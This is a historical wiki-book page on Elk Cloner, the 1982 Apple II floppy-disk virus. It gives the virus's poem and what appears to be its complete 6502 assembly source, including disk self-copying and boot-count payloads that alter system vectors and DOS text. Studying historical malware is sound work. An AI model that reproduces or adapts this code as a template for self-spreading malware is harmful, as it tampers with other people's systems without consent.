Last modified on 31 December 2011, at 01:03

Self-Replicating Automata/List/Elk Cloner

IntroductionEdit

Elk Cloner is the first known computer virus to spread in the wild. It infected Apple II systems and was written by Richard Skrenta in 1982. It spread by infecting Apple II floppy disks. It did not cause any intentional harm to data, and displayed the message on every 50th booting.


  Elk Cloner:  The program with a personality
 
  It will get on all your disks
    It will infiltrate your chips
      Yes it's Cloner!

  It will stick to you like glue
    It will modify ram too
      Send in the Cloner!

Source CodeEdit


        ORG $9000
VERSN   DFB $02 
HIMEM   LDA #$FF
        STA $4C
        LDA #$8F
        STA $4D
DOPTCH  LDA #$20 
        STA $A180  
        LDA #$5B 
        STA $A181 
        LDA #$A7 
        STA $A182 
RUNPTCH LDA #$AD
        STA $A4D1
        LDA #$B6
        STA $A4D2
        LDA #$AA
        STA $A4D3
LODPTCH LDA #$4C
        STA $A413 
        LDA #>LOD
        STA $A414 
        LDA #<LOD
        STA $A415 
BLDPTCH LDA #$4C
        STA $A35D
        LDA #>BLOD
        STA $A35E
        LDA #<BLOD
        STA $A35F
CATPTCH LDA #$4C
        STA $A56E
        LDA #>CATALOG 
        STA $A56F
        LDA #<CATALOG
        STA $A570
USRPTCH LDA #$4C
        STA $0A
        LDA #>USRCMD 
        STA $0B
        LDA #<USRCMD 
        STA $0C
BOOTUP  CLD
        JSR READ 
        LDX $B3BF
        INX
        STX $B3BF
        JSR WRITE 
        JSR DESTROY
        JMP $A180 
TESTON  LDA #$00
        STA FLAG1
        LDA $AA68
        STA $B7EA
        JSR READ
        LDA $B3C2 
        CMP VERSN 
        BEQ TESTON1 
        LDA #$01
        STA FLAG1
TESTON1 RTS
LOD     JSR TESTON
        LDA FLAG1
        CMP #$00
        BEQ LOD1
        JSR CLONE
LOD1    JSR $A316
        JMP $A416
BLOD    JSR TESTON
        LDA FLAG1
        CMP #$00
        BEQ BLOD1
        JSR CLONE
BLOD1   JSR $A2A8
        JMP $A360
CATALOG JSR TESTON
        LDA #$06
        JSR $A2AA
        LDA $B5BF
        STA $AA66
        LDA FLAG1
        CMP #$00
        BEQ RETURN
        JSR CLONE
RETURN  LDA #$0
        STA $B3BE
        STA $B3BF
        STA $B3C0
        RTS
CLONE   CLC
        JSR READ 
        LDA IDENT
        STA $B3C0
        LDA VERSN 
        STA $B3C2 
        JSR WRITE 
        LDA $AA68
        STA $B7EA
        LDA #$02
        STA $B7F4
        STA $B7EC
        LDA #$08
        STA $B7ED
        LDA #$0
        STA $B7EB
        STA $B7F0
        LDA #$95
        STA $B7F1
CLONE1  LDA #$B7
        LDY #$E8
        JSR $B7B5
        CLD
        BCC CLONE2
        RTS 
CLONE2  DEC $B7ED
        DEC $B7F1
        LDA $B7F1
        CMP #$8F
        BNE CLONE1
        LDA #$02
        STA $B7F1
        LDA #$01
        STA $B7F4
        STA $B7EC
        LDA #$0 
        STA $B7ED
        LDA #$B7
        LDY #$E8
        JSR $B7B5
        CLD
        BCC CLONE3
        RTS 
CLONE3  LDA #$4C
        STA $280 
        LDA #$00
        STA $281 
        LDA #$9B
        STA $282 
        LDA #$02
        STA $B7F4
        LDA #$B7
        LDY #$E8
        JSR $B7B5
        CLD
        BCC CLONE4
        RTS 
CLONE4  LDA #$0
        STA $B7EC
        LDA #$A
        STA $B7ED
        LDA #$95
        STA $B7F1
        LDA #$B7
        LDY #$E8
        JSR $B7B5
        CLD 
        RTS
READ    LDA #$01
        STA $B7F4
        JMP VTOC
WRITE   LDA #$02
        STA $B7F4
VTOC    LDA #$11
        STA $B7EC
        LDA #$0
        STA $B7ED
        LDA #$BB 
        STA $B7F0
        LDA #$B3
        STA $B7F1
        LDA #$0
        STA $B7EB
        LDA #$B7
        LDY #$E8
        JSR $B7B5
        CLD 
        RTS
PRINT   STY $FC
        STA $FD
        LDY #$00
PRINT0  LDA ($FC),Y 
        CMP #$00
        BEQ PRINT1
        JSR $FDED
        INY  
        JMP PRINT0
PRINT1  RTS
PRTMSG  LDY #>MSG
        LDA #<MSG
        JSR PRINT
PRTNUM  LDA IDENT
        STA $44
        JSR $AE42
        LDA #$8D
        JSR $FDED
        RTS
MSG     ASC 'ELK CLONER V2.0 # '
        DFB $0
IDENT   DFB $1
FLAG1   DFB $00
RET     RTS
USRCMD  JSR $E6FB
        CPX #$0B 
        BNE CMD2
        JSR PRTMSG
        RTS
CMD2    CPX #$0C 
        BNE CMD3
        LDY #>REPORT
        LDA #<REPORT
        JSR PRINT
        JSR READ 
        LDA $B3BF
        STA $44
        JSR $AE42
        LDA #$8D
        JSR $FDED
        RTS
CMD3    CPX #$0D 
        BNE CMD4
        JSR CLONE
        RTS
CMD4    CPX #$0A
        BNE USRERR
        JSR PRPOEM
        RTS
USRERR  LDY #>UERR
        LDA #<UERR
        JSR PRINT
        JSR $FBDD
        JMP $9DBF
UERR    DFB $8D 
        ASC 'ILLEGAL QUANTITY ERROR'
        DFB $0
PRPOEM  JSR $FC58
        LDY #>POEM
        LDA #<POEM
        JSR PRINT
        RTS
REPORT  ASC 'BOOT COUNT: ' 
        DFB $0 
POEM    ASC 'ELK CLONER:'
        DFB $8D,$8D 
        ASC '   THE PROGRAM WITH A PERSONALITY'
        DFB $8D,$8D,$8D 
        ASC 'IT WILL GET ON ALL YOUR DISKS'
        DFB $8D
        ASC 'IT WILL INFILTRATE YOUR CHIPS'
        DFB $8D
        ASC 'YES IT'
        DFB $A7
        ASC 'S CLONER!'
        DFB $8D,$8D
        ASC 'IT WILL STICK TO YOU LIKE GLUE'
        DFB $8D
        ASC 'IT WILL MODIFY RAM TOO'
        DFB $8D
        ASC 'SEND IN THE CLONER!'
        DFB $8D,$8D,$8D,$8D,$0 
IOERR   LDY #>ERRMSG
        LDA #<ERRMSG
        JSR PRINT
        JSR $FBDD 
        JMP $9DBF 
ERRMSG  DFB $8D,$8D 
        ASC 'I/O ERROR'
        DFB $8D,$00 
DESTROY LDA $B3BF
        CMP #10 
        BNE DEST1
        LDA #$69 
        STA $3F2
        LDA #$FF 
        STA $3F3
        JSR $FB6F
        RTS
DEST1   CMP #15 
        BNE DEST2
        LDA #$3F
        STA $32
        RTS
DEST2   CMP #20 
        BNE DEST3
        LDA $C030
        LDA $C030
        LDA $C030
        RTS
DEST3   CMP #25 
        BNE DEST4
        LDA #$7F
        STA $32
        RTS
DEST4   CMP #30 
        BNE DEST5
        LDA #'I'
        STA $B3A7
        LDA #'T'
        STA $B3A8
        LDA #'B'
        STA $B3A9
        LDA #'A'
        STA $B3AA 
        RTS
DEST5   CMP #35 
        BNE DEST6
        LDA #$85
        STA $AAB2
        RTS
DEST6   CMP #40 
        BNE DEST7
        LDA #$00
        STA $3F2
        LDA #$03
        STA $3F3
        JSR $FB6F
        LDA #$4C
        STA $300
        LDA #$00
        STA $301
        LDA #$03
        STA $302
        RTS
DEST7   CMP #45 
        BNE DEST8
        LDA #$80
        STA $D6
        RTS
DEST8   CMP #50 
        BNE DEST9
        LDA #>PRPOEM
        STA $3F2
        LDA #<PRPOEM
        STA $3F3
        JSR $FB6F
        RTS
DEST9   CMP #55 
        BNE DEST10
        LDA #$FF
        STA $BDD3
        RTS
DEST10  CMP #60 
        BNE DEST11
        LDA #$20
        STA $BDD3
        RTS
DEST11  CMP #65 
        BNE DEST12
        LDA #$4C
        STA $A180
        LDA #$69
        STA $A181
        LDA #$FF
        STA $A182
        RTS
DEST12  CMP #70 
        BNE DEST13
        LDA #$10
        STA $BDD3
        RTS
DEST13  CMP #75 
        BNE DEST14
        JMP $C600
DEST14  CMP #76 
        BNE DEST15 
        JMP $C600
DEST15  CMP #77 
        BNE DEST16
        JMP $C600
DEST16  CMP #78 
        BNE DEST17
        JMP $C600
DEST17  CMP #79 
        BNE DEST18
        JSR READ 
        LDA #$00
        STA $B3BF
        JSR WRITE 
        RTS
DEST18  RTS
LOADER  ORG $9500
        LDA #$02 
        STA $B7EC 
        LDA #$01 
        STA $B7F4 
        LDA #$03
        STA $B7ED
        LDA #$0
        STA $B7EB
        STA $B7F0
        LDA #$90
        STA $B7F1
LOAD1   LDA #$B7
        LDY #$E8
        JSR $B7B5
        INC $B7ED
        INC $B7F1
        LDA $B7F1
        CMP #$96
        BCC LOAD1
        JMP HIMEM 

External linkEdit